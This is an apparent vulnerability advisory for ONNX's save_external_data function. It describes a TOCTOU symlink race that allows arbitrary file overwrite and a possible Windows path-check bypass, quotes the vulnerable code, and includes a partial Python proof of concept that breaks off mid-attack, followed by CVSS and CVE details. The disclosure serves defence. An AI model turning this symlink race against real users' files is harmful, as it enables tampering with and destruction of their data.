ONNX: TOCTOU arbitrary file read/write in save_external_dat

### Summary The `save_external_data` method seems to include multiple issues introducing a local TOCTOU vulnerability, an arbitrary file read/write on any system. It potentially includes a path validation bypass on Windows systems. Regarding the TOCTOU, an attacker seems to be able to overwrite victim's files via symlink following under the same privilege scope. The mentioned function can be found here: https://github.com/onnx/onnx/blob/main/onnx/external_data_helper.py#L188 ### Details #### Toctou The vulnerable code pattern: ```python # CHECK - Is this a file? if not os.path.isfile(external_data_file_path): # Line 228-229: USE #1 - Create if it doesn't exist with open(external_data_file_path, "ab"): pass # Open for writing with open(external_data_file_path, "r+b") as data_file: # Lines 233-243: Write tensor data data_file.seek(0, 2) if info.offset is not None: file_size = data_file.tell() if info.offset > file_size: data_file.write(b"\0" * (info.offset - file_size)) data_file.seek(info.offset) offset = data_file.tell() data_file.write(tensor.raw_data) ``` There is a time gap between `os.path.isfile` and `open` with no atomic file creation flags (e.g. `O_EXCEL | O_CREAT`) allowing the attacker to create a symlink that is being followed (absence of `O_NOFOLLOW`), between these two calls. By combining these, the attack is possible as shown below in the PoC section. #### Bypass There is also a potential validation bypass on Windows systems in the same method (https://github.com/onnx/onnx/blob/main/onnx/external_data_helper.py#L203) allowing absolute paths like `C:\` (only 1 part): ```python if location_path.is_absolute() and len(location_path.parts) > 1 ``` This may allow Windows Path Traversals (not 100% verified as I am emulating things on a Debian distro). ### PoC Install the dependencies and run this: ```python import os import sys import tempfile import numpy as np import onnx from onnx import TensorProto, helper from onnx.numpy_helper import from_array # Create a temporary directory for our poc with tempfile.TemporaryDirectory() as tmpdir: print(f"[*] Working directory: {tmpdir}") # Create a "sensitive" file that we'll overwrite sensitive_file = os.path.join(tmpdir, "sensitive.txt") with open(sensitive_file, 'w') as f: f.write("SENSITIVE DATA - DO NOT OVERWRITE") original_content = open(sensitive_file, 'rb').read() print(f"[*] Created sensitive file: {sensitive_file}") print(f" Original content: {original_content}") # Create a simple ONNX model with a large tensor print("[*] Creating ONNX model with external data...") # Create a tensor with data > 1KB (to trigger external data) large_array = np.ones((100, 100), dtype=np.float32) # 40KB tensor large_tensor = from_array(large_array, name='large_weight') # Create a minimal model model = helper.make_model( helper.make_graph( [helper.make_node('Identity', ['input'], ['output'])], 'minimal_model', [helper.make_tensor_value_info('input', TensorProto.FLOAT, [100, 100])], [helper.make_tensor_value_info('output', TensorProto.FLOAT, [100, 100])], [large_tensor] ) ) # Save model with external data to create the external data file model_path = os.path.join(tmpdir, "model.onnx") external_data_name = "data.bin" external_data_path = os.path.join(tmpdir, external_data_name) onnx.save_model( model, model_path, save_as_external_data=True, all_tensors_to_one_file=True, location=external_data_name, size_threshold=1024 ) print(f"[+] Model saved: {model_path}") print(f"[+] External data created: {external_data_path}") # Now comes the attack: replace the external data file with a symlink print("[!] ATTACK: Replacing external d

CVSS 3.1

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H

Severity from

GitHub (reviewed advisory)

Weakness

CWE-22, CWE-367, CWE-59

Also known as

CVE-2026-49114, PYSEC-2026-3876

• github.com/onnx/onnx/security/advisories/GHSA-q56x-g2fj-4rj6
• nvd.nist.gov/vuln/detail/CVE-2026-49114
• github.com/onnx/onnx
• raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/IT/white/2026/va-26-233-01.json